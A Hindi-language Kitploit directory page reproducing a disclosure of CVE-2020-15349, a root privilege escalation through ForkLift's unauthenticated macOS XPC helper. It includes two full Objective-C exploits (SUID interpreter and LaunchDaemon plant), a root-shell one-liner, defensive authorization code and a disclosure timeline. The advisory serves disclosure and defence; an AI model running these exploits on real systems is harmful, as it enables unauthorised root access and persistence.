Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Forklift_LPE — CVE-2020-15349 का भेद्यता विवरण | Kitploit
उपकरण/GitHubGitHub/traxes/forklift_lpe
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणलर्निंग और शिक्षाबाइनरी शोषण
GitHubtraxes/forklift_lpe

Forklift_LPE

CVE-2020-15349 का भेद्यता विवरण

रिपॉजिटरी देखें
1015 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

फोर्कलिफ्ट 3.3.9 स्थानीय विशेषाधिकार वृद्धि (Local Privilege Escalation)

फोर्कलिफ्ट स्थापित करते समय, Mac OS X के लिए com.binarynights.ForkLiftHelper नामक एक नया हेल्पर स्वचालित रूप से /Library/PrivilegedHelperTools/ निर्देशिका में स्थापित हो जाता है। इस हेल्पर का विश्लेषण करने पर, जो XPC संदेशों को संभालता है, Mac OS X पर उपयोगकर्ता से root तक विशेषाधिकार बढ़ाने के विभिन्न तरीके सामने आए।

XPC कॉल स्वीकार करते समय डिफ़ॉल्ट रूप से HelperTool listener:shouldAcceptNewConnection और (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection फ़ंक्शन का उपयोग किया जाता है। यह फ़ंक्शन XPC कनेक्शन स्थापित करने के प्रारंभिक चरणों को करने के लिए उपयोग किया जाता है। आमतौर पर, यह फ़ंक्शन कॉल करने वाले का प्राधिकरण (authorization) करता है—हालाँकि, com.binarynights.ForkLiftHelper का फ़ंक्शन कोई प्राधिकरण जाँच लागू नहीं करता है। इस प्रकार, XPC पर किसी भी उजागर फ़ंक्शन को अनधिकृत रूप से कॉल करना संभव है।

निम्नलिखित फ़ंक्शन XPC पर कॉल करने वाले के लिए उजागर हैं:

root@kitploit:~
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end

सेटयूआईडी शोषण (Setuid Exploitation)

इस हेल्पर का शोषण करने की पहली विधि इस प्रकार है:

चरण 1: इंटरप्रेटर लक्ष्य chown

उदाहरण के लिए, पायथन इंटरप्रेटर को एक उपयोगकर्ता-नियंत्रणीय निर्देशिका में कॉपी करें और XPC फ़ंक्शन changeOwner को पैरामीटर @"<path>" owner:0 group:0 के साथ कॉल करें। इससे पायथन इंटरप्रेटर का स्वामित्व root में बदल जाएगा।

चरण 2: SUID ध्वज सेट करें

दूसरा, इंटरप्रेटर पर SUID बिट सेट करना संभव है जो changePermissions फ़ंक्शन को निम्नलिखित पैरामीटर @"<path>" permissions:2541 के साथ XPC अनुरोध जारी करता है। अनुमतियाँ 2541 ऑक्टल में संख्या 4755 का प्रतिनिधित्व करती हैं, जो बाइनरी पर SUID ध्वज सेट करती है।

चरण 3: LPE

निम्नलिखित कमांड root के रूप में एक शेल स्पॉन करेगा:

root@kitploit:~
$/tmp/python_copied -c 'import pty; import os; os.setuid(0);pty.spawn("/bin/bash")'
# id
uid=0(root) [...]

पूर्ण शोषण

कृपया सुनिश्चित करें कि पहले /tmp में python_copied नाम से एक पायथन इंटरप्रेटर कॉपी किया गया हो। निम्नलिखित शोषण इस LPE को प्रदर्शित करता है:

root@kitploit:~
//
//  main.m
//  build
//  gcc -framework Foundation exploit.m -o exploit
//  
//

#import <Foundation/Foundation.h>

static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";

// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        
        NSString*  _serviceName = kXPCHelperMachServiceName;

        NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
        [_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
        [_agentConnection resume];

        //        run user script as root/
        [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
            (void)error;
            NSLog(@"Connection Failure");
        }] changeOwner:@"/tmp/python_copied" owner:0 group:0 reply:^(NSError * err){
            NSLog(@"Reply, %@", err);
        }];
        [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
            (void)error;
            NSLog(@"Connection Failure");
        }] changePermissions:@"/tmp/python_copied" permissions:2541 reply:^(NSError * err){
            NSLog(@"Reply, %@", err);
        }];
        
        NSLog(@"Done!");
    }
    return 0;
}

लॉन्चएजेंट शोषण

इस हेल्पर का शोषण करने की दूसरी विधि इस प्रकार है:

एक नया लॉन्च एजेंट लिखना

XPC कॉल moveItem के कारण किसी भी आइटम को root के रूप में स्थानांतरित करना संभव है। इस प्रकार, /tmp निर्देशिका में एक plist फ़ाइल लिखना और फिर इसे /Library/LaunchDaemons/ निर्देशिका में कॉपी करना संभव है। moveItem फ़ंक्शन के लिए निम्नलिखित पैरामीटर का उपयोग किया जाता है: @"/tmp/com.sample.Load.plist" targetPath:@"/Library/LaunchDaemons/com.sample.Load.plist"

पूर्ण शोषण

निम्नलिखित कोड स्वचालित रूप से एक नया लॉन्च एजेंट जोड़ेगा जो पुनरारंभ होने पर ट्रिगर होता है:

root@kitploit:~
//
//  main.m
//  build
//  gcc -framework Foundation exploit.m -o exploit
//

#import <Foundation/Foundation.h>

static NSString* kXPCHelperMachServiceName = @"com.binarynights.ForkLiftHelper";

// The protocol that Forklift will vend as its XPC API.
@protocol _TtP4main21ForkLiftHelperProtcol_
- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;
- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;
- (void)calculateDirectorySize:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)createDirectory:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)deleteItem:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)moveItem:(NSString *)arg1 targetPath:(NSString *)arg2 reply:(void (^)(NSError *))arg3;
- (void)copyItemAbort:(NSString *)arg1;
- (void)copyItemProgress:(NSString *)arg1 reply:(void (^)(NSNumber *, NSError *))arg2;
- (void)copyItem:(NSString *)arg1 targetPath:(NSString *)arg2 UUID:(NSString *)arg3 reply:(void (^)(NSError *))arg4;
- (void)moveToTrash:(NSString *)arg1 reply:(void (^)(NSError *))arg2;
- (void)getHelperVersion:(void (^)(NSString *))arg1;
@end

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        NSString* my_plist = @"<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
        "<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">"
        "<plist version=\"1.0\">"
        "<dict>"
        "  <key>Label</key>"
        "  <string>com.sample.Load</string>"
        "  <key>ProgramArguments</key>"
        "  <array>"
        "      <string>/bin/zsh</string>"
      "      <string>-c</string>"
      "      <string>touch /Library/foobar.txt</string>"
        "  </array>"
        "    <key>RunAtLoad</key>"
        "    <true/>"
        "</dict>"
        "</plist>";
        
        [my_plist writeToFile:@"/tmp/com.sample.Load.plist" atomically:YES encoding:NSASCIIStringEncoding error:nil];
        
        NSString*  _serviceName = kXPCHelperMachServiceName;

        NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
        [_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(_TtP4main21ForkLiftHelperProtcol_)]];
        [_agentConnection resume];

        //        run user script as root/
        [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
            (void)error;
            NSLog(@"Connection Failure");
        }] moveItem:@"/tmp/com.sample.Load.plist" targetPath:@"/Library/LaunchDaemons/com.sample.Load.plist" reply:^(NSError * err){
            NSLog(@"Reply, %@", err);
        }];
        NSLog(@"Done!");
    }
    return 0;
}

अनुशंसा

XPC हेल्पर को कॉल करते समय प्राधिकरण लागू करने की अनुशंसा की जाती है।

इन प्राधिकरण जाँचों में शामिल होना चाहिए:

  • कॉल करने वाला एक वैध हस्ताक्षरित एप्लिकेशन है
  • कॉल करने वाला एप्लिकेशन DYLIB इंजेक्शन हमलों (रनटाइम फ्लैग) के विरुद्ध अच्छी तरह से कठोर (hardened) किया गया है
  • कॉल करने वाले एप्लिकेशन में सॉफ्टवेयर कंपनी से सही TeamID है

प्राधिकरण जाँचों के लिए एक उत्कृष्ट संसाधन [1] स्रोत से प्राप्त किया जा सकता है।

निम्नलिखित उदाहरण shouldAcceptNewConnecton फ़ंक्शन सही प्राधिकरण जाँचों के विभिन्न चरणों को प्रदर्शित करता है:

root@kitploit:~
@interface NSXPCConnection(PrivateAuditToken)

// This property exists, but it's private. Make it available:
@property (nonatomic, readonly) audit_token_t auditToken;

@end

// In the NSXPCListenerDelegate:
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)connection {
   audit_token_t auditToken = connection.auditToken;
   NSData *tokenData = [NSData dataWithBytes:&auditToken length:sizeof(audit_token_t)];
   NSDictionary *attributes = @{(__bridge NSString *)kSecGuestAttributeAudit : tokenData};
   SecCodeRef code = NULL;
   if (SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef)attributes, kSecCSDefaultFlags, &code) != errSecSuccess) {
       return NO;
   }
   // Before checking the requirement make sure that code signing flags
   // CS_HARD and CS_KILL are set. Dynamic code signature checks can only
   // check the code pages already swapped into memory, so make sure that
   // no malicious code can be loaded at a later time. You may want to
   // disable this check in debug builds.
   CFDictionaryRef csInfo = NULL;
   if (SecCodeCopySigningInformation(code, kSecCSDynamicInformation, &csInfo) != errSecSuccess) {
       return NO;
   } else {
       uint32_t csFlags = [((__bridge NSDictionary *)csInfo)[(__bridge NSString *)kSecCodeInfoStatus] intValue];
       CFRelease(csInfo);
       const uint32_t cs_hard = 0x100;         // don't load invalid pages
       const uint32_t cs_kill = 0x200;         // kill process if page is invalid
       const uint32_t cs_restrict = 0x800;     // prevent debugging
       const uint32_t cs_require_lv = 0x2000;  // Library Validation
       const uint32_t cs_runtime = 0x10000;    // hardened runtime
       if ((csFlags & (cs_hard | cs_kill)) != (cs_hard | cs_kill)) {
           // add all flags to check which are in your code signature!
           // In particular, we recommend cs_require_lv and cs_restrict.
           return NO;    // Not accepted because it can be tampered with
       }
   }

   NSString *requirementString = @"anchor apple generic and certificate leaf[subject.OU] = \"MyTeamIdentifier\"";
   SecRequirementRef requirement = NULL;

   // Check at least the peer's TeamID, e.g.
   // "anchor apple generic and certificate leaf[subject.OU] = MyTeamIdentifier"
   if (SecRequirementCreateWithString((__bridge CFStringRef)requirementString, kSecCSDefaultFlags, &requirement) != errSecSuccess) {
       abort(); // error in requirement string
   }

   OSStatus status = SecCodeCheckValidityWithErrors(code, kSecCSDefaultFlags, requirement, NULL);
   CFRelease(code);
   CFRelease(requirement);
   if (status != errSecSuccess) {
       return NO;
   }

   // further initialization of connection goes here...

   return YES;
}

प्रकटीकरण समयरेखा

  • 08.06.2020 ईमेल पते के लिए प्रारंभिक संपर्क
  • 08.06.2020 उसी ईमेल को अनएन्क्रिप्टेड भेजने का उत्तर
  • 09.06.2020 एन्क्रिप्शन के लिए अनुवर्ती प्रश्न
  • 10.06.2020 एन्क्रिप्टेड प्रकटीकरण की मंजूरी
  • 12.06.2020 LPE का प्रकटीकरण
  • 15.06.2020 CVE-2020-15349 (LPE) के लिए आंशिक सुधार
  • 16.06.2020 एंटाइटेलमेंट्स LPE का प्रकटीकरण
  • 19.06.2020 CVE-2020-15349 के केवल आंशिक सुधार का प्रकटीकरण
  • 19.08.2020 CVE-2020-27192 का सुधार और CVE-2020-15349 का अंतिम सुधार

संसाधन

[1] - https://blog.obdev.at/what-we-have-learned-from-a-vulnerability/

टूल डाउनलोड करें